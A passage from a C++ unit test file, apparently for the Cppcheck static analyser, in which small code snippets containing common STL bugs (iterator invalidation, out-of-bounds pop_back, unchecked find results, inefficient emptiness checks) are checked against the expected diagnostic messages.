{\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" 